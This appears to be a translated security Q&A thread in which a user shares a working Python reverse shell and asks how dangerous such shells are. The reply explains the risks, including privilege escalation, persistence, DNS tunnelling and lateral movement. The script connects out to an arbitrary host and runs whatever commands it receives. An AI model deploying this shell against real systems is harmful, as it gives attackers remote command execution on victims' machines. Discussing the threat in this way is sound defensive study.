¿Qué tan peligrosos son los shells inversos a una red?

1

Estoy trabajando en una cosa simple de shell inversa en Python. Puede aceptar e interpretar comandos en un shell generado en la víctima. Desafortunadamente, no admite funciones como ping, traceroute, nbtstat (para máquinas con Windows), nslookup (para Windows también), por razones que no entiendo lo suficiente. Mi pregunta es, ¿cuánta de una amenaza son estas capas inversas a una red? Parecen triviales en el sentido de que un usuario estándar tendría (y debería) tener sus privilegios restringidos, por lo que realmente no se puede hacer ningún daño, y el reverso parece algo que iría a la casa de un compañero y se conectaría a su computadora para prueba de concepto. Además, se agradecerán los enlaces a lecturas adicionales; Los ataques "de adentro hacia afuera" realmente me interesan. Cosita: Ah lo siento, olvidé incluir el "cosita" :)

#! /usr/bin/python3

import socket, subprocess, os
from sys import argv

script, host, port = argv


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((str(host), int(port)))
except ValueError as err:
    print ("You entered the wrong host / port combination or something...")
    print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
    print ("Socket error of some sort...")
    print ("Here is the error message:\n\n\n{}".format(err))


while True:
    s.send("Command: ".encode("utf-8"))
    comm = s.recv(4096)
    comm = comm.decode("utf-8")
    print (comm)
    if comm[:2] == "cd":
        os.chdir(comm[3:].rstrip())
    p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
    s.send(p.stdout.read().encode("utf-8"))
    
pregunta Inquisitive 08.09.2017 - 15:56
fuente

1 respuesta

1

En un mundo ideal, ninguna computadora debería tener una vulnerabilidad, ¿verdad?  Desafortunadamente, no vivimos en un mundo de ensueño así, y cuando se explotan las vulnerabilidades, la carga útil suele ser una especie de shell.

Incluso las redes más restrictivas a menudo permiten que se envíen consultas de DNS y se reciban respuestas ; esto es suficiente para alojar una shell inversa, pero no una shell forward.

A veces es solo cuestión de tiempo. Ha tenido muchas sorpresas desagradables como resultado de que los no privilegiados salieron de sus confines con vulnerabilidades de escalamiento de privilegios, desbordamientos de búferes locales, etc., y si tiene un shell ejecutándose como un usuario sin privilegios en un sistema en el momento adecuado, ese es su caso. pie en la puerta. El acceso desfavorecido es bueno para el "hacker" del paciente; él / ella puede esperar un tiempo esperando que aparezca una vulnerabilidad ...

... y luego, ¿qué mejor herramienta para mantener el acceso al sistema cuando se obtiene acceso administrativo? Solo debe agregarse al registro de inicio, como un servicio de sistema, crontab o muchos otros lugares ...

Aparte de eso, no todas las vulnerabilidades deben dar como resultado el acceso de root. Recuerdo una vez cuando escribí un programa en C para mostrar algunas imágenes estáticas. Ahora pensaría que tal programa no debería contener un desbordamiento de búfer, y yo estaba bastante seguro, pero lo hizo. Lo hizo, y fue explotado. Podría haber estado aislado del resto del sistema, pero eso no impidió que el "pirata informático" ejecutara nmap para escanear subrangos en mi sistema.

Tal vez si hubiera tenido una impresora con capacidad de red en mi red, o un enrutador vulnerable, podrían haber usado la cuenta sin privilegios para obtener acceso a otros sistemas ! En ese punto, nuevamente, un pirata informático podría esperar su momento, probando ocasionalmente toda la red interna en busca de vulnerabilidades en el futuro y esperando acceso administrativo, si el tráfico y los documentos interceptados no son lo suficientemente lucrativos . ..

Esto también me recuerda a una época en la que el IRC era un repugnante atolladero de basura infecciosa. El spam sería en forma de comandos que algunos usuarios escribirían, y luego sus sistemas se utilizarían para más spam, por supuesto. Este sigue siendo sin duda el destino de muchas máquinas comprometidas, ya que falsificar correos electrónicos masivos no solicitados no requiere herramientas administrativas y puede proporcionar un incentivo financiero.

Mientras estamos en el tema de los incentivos financieros, ¿has estado siguiendo el precio del éter ?

    
respondido por el autistic 08.09.2017 - 16:55
fuente

Lea otras preguntas en las etiquetas